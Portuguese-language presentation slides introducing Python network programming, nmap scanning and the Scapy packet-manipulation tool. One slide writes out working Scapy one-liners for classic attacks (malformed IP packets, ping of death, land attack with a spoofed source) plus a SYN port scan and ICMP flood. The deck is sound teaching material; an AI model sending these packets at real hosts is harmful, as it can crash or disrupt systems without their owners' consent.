Python, Sockets e Pacotes

Uma introdução à programação e exploração interativa de redes usando a Linguagem Python

Fábio Olivé

(fabio.olive@gmail.com)

AVISO

Não sou um especialista!

Sou apenas um curioso
com anos de experiência

Tópicos

- Por que Python?
- Programação de redes em Python
- Exploração interativa de redes
- Scapy

Por que Python?

Por que Python?

- Elegância: sintaxe simples, clara e expressiva
- Orientada a Objetos tanto quanto necessário
- Tipos de dados dinâmicos e flexíveis (tudo é objeto)
- Interpretador interativo!
- Biblioteca riquíssima de módulos prontos
- Eu mencionei o interpretador interativo?

Por que Python?

- Vale a pena aprender Python mesmo que não se use no trabalho atual
  - Aprenda a pensar diferente!
- É uma linguagem sem frescuras e pontuações
- Não se precisa adicionar nada antes de começar o que realmente queremos programar
- Para quem gosta de fuçar, o Python oferece uma fina camada orientada a objetos entre seus dedos e as chamadas de sistema que se quer usar

Programação de Redes em Python

Programação de Redes em Python

- Começando pelo básico: módulo socket

```
import socket as S
```

Programação de Redes em Python

- Começando pelo básico: módulo socket
  - Criando sockets stream e datagram

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
```

Programação de Redes em Python

- Começando pelo básico: módulo socket
  - Conectando numa tupla (endereço, porta)

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect((“server.qualquer.com”, 110))
```

Programação de Redes em Python

- Começando pelo básico: módulo socket
  - Lendo e escrevendo nos sockets

```
import socket as S
c = S.socket(S.AF_INET, S.SOCK_STREAM)
c.connect((“server.qualquer.com”, 110))
c.recv(1024)
c.send(“USER foobar\r\n”)
```

Programação de Redes em Python

- Começando pelo básico: módulo socket
  - Aceitando conexões

```
import socket as S
s = S.socket(S.AF_INET, S.SOCK_STREAM)
s.bind(("", 8001))
s.listen(5)
c, a = s.accept()
```

Programação de Redes em Python

- Protocolos baseados em texto
  - Os mais comuns para os serviços típicos da Internet
  - Basicamente enviar e receber strings
- Protocolos binários
  - Complica a codificação
  - Módulo struct para criar representação binária dos dados
- Fácil, né? Isso SE precisar programar o protocolo!

Programação de Redes em Python

- Com módulos prontos, fica facílimo!
- urllib, httplib, ftplib, poplib, imaplib, smtplib, ...

```
import poplib as P
pop = P.POP3("pop.gmail.com")
pop.user("foo")
pop.pass_("bar")
pop.list()
```

Exploração Interativa de Redes

Exploração Interativa de Redes

- Geralmente começa no shell, pingando por aí
- nmap -sP 192.168.0.1-254
  - Ping scan da rede para ver quem responde
- nmap -sS -O 192.168.0.17
  - TCP SYN scan para ver os serviços presentes
  - Tentar identificar o SO pelas características das respostas
  - Interagir com os serviços abertos e tentar obter maiores informações sobre a máquina em análise

Exploração Interativa de Redes

- Tendo um alvo interessante para investigar, é comum o envio de pacotes de rede alterados, com campos incorretos ou inconsistentes, para procurar possíveis falhas
- Técnicas de exploração automática com fuzzing
  - Testar todos os valores possíveis de um determinado campo de um protocolo, ou valores completamente aleatórios, até que “algo interessante” retorne
- Ferramentas como nmap, hping, netcat, ...

Exploração Interativa de Redes

- Muitas ferramentas prontas, porém sempre limitadas pela imaginação do autor
- Excesso de funcionalidade torna o uso das ferramentas uma tarefa muito complicada

```
hping3 [-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG] [-c count] [-i wait]
[--fast] [-I interface] [-9 signature] [-a host] [-t ttl] [-N ip id]
[-H ip protocol] [-g fragoff] [-m mtu] [-o tos] [-C icmp type]
[-K icmp code] [-s source port] [-p[+][+] des tport] [-w tcp window]
[-O tcp offset] [-M tcp sequence number] [-L tcp ack] [-d data size]
[-E filename] [-e signature] [--icmp-ipver version]
[--icmp-iphlen length] [--icmp-iplen length] [--icmp-ipid id]
[--icmp-ipproto protocol] [--icmp-cksum checksum] [--icmp-ts]
[--icmp-addr] [--tcpexitcode] [--tcp-timestamp] [--tr-stop]
[--tr-keep-ttl] [--tr-no-rtt] [--rand-dest] [--rand-source]
[--beep] hostname
```

Exploração Interativa de Redes

- Que tal uma ferramenta que permita:
  - manipular mais os pacotes;
  - adicionar mais camadas de protocolos;
  - alterar mais facilmente os campos dos protocolos;
  - combinar protocolos de qualquer maneira;
  - enviar estes pacotes pela rede e colher respostas;
  - capturar pacotes da rede e manipular da mesma forma;
  - ... e ainda programável em Python?

Scapy

Scapy

- Ferramenta fantástica de manipulação interativa de pacotes, usando a sintaxe do Python
  - Na verdade é o próprio interpretador do Python, com uma série de funções e classes adicionadas :-)
- Permite criar, enviar, capturar, manipular e inspecionar pacotes de rede de forma interativa
- Permite a criação de scripts de análise de redes
- Substitui a maior parte das demais ferramentas
- No Fedora 18: sudo yum install scapy

Scapy

- Começando pelo básico: criando pacotes

```
IP(dst="192.168.100.30")
IP(dst="192.168.100.30") / ICMP(seq = 42)

ip = IP(dst="192.168.100.30")
send(ip / ICMP(id=123, seq=321))

send(ip / TCP(dport=8080, flags="S"))
```

Scapy

- Enviando pacotes e inspecionando resposta:

```
>>> res = sr1(ARP(pdst="192.168.254.12"))
>>> res.show()
###[ ARP ]###
  hwtype= 0x1
  ptype= IPv4
  hwlen= 6
  plen= 4
  op= is-at
  hwsrc= 00:16:78:20:7a:e5
  psrc= 192.168.254.12
  hwdst= 00:24:d7:a9:c9:a8
  pdst= 192.168.254.115
```

Scapy

- Enviando pacotes e inspecionando resposta:

```
>>> res = sr1(IP(dst="192.168.254.12") / TCP())
>>> hexdump(res)
0000   45 00 00 2C F4 32 00 00  40 06 08 C8 C0 A8 FE 0C   E..,.2..@.......
0010   C0 A8 FE 73 00 50 00 14  44 48 D8 56 00 00 00 01   ...s.P..DH.V....
0020   60 12 31 80 CB C0 00 00  02 04 05 B4 00 00         `.1...........
```

Scapy

- Ataques clássicos:
  - Pacotes mal-formados:

```
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
```

  - Ping da morte:

```
send(fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)))
```

  - Land attack (Windows)

```
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
```

Scapy

- Geração incremental de campos
  - Tupla (inicio, fim)
  - Exemplo: TCP port scan

```
sr( IP(dst="servidor") /
   TCP(flags="S", dport=(1, 1024)) )
```

  - Exemplo: Festa ICMP

```
send( IP(dst="1.2.3.4") / ICMP(type=(1,255)) )
```

Scapy

- Snifando pacotes da rede:

```
>>> cap = sniff(count = 1, filter = "igmp")
>>> cap
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> cap[0]
<Ether  dst=00:24:d7:a9:c9:a8 src=00:1e:58:01:5f:4e type=IPv4 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=0 flags= frag=0L ttl=1
proto=igmp chksum=0x1b35 src=192.168.254.1 dst=224.0.0.1
options=[] |<Raw  load='\x11d\xee\x9b\x00\x00\x00\x00' |>>>
```

- Hmmm parece que IGMP não está implementado no Scapy! ;-)

Scapy

- Misto de ferramenta e ambiente de programação
- Muito interessante para quem estuda redes
  - Pode ser utilizado como ferramenta didática em aula!
- Permite a criação de scripts bastante complexos de análise de redes, usando o poder de expressão da linguagem Python
- Permite implementar port-knocking avançado

- Espero que tenham ficado interessados! :-)

Dúvidas?
Obrigado pela atenção!

Participe!
OeSC-Livre.org
TcheLinux.org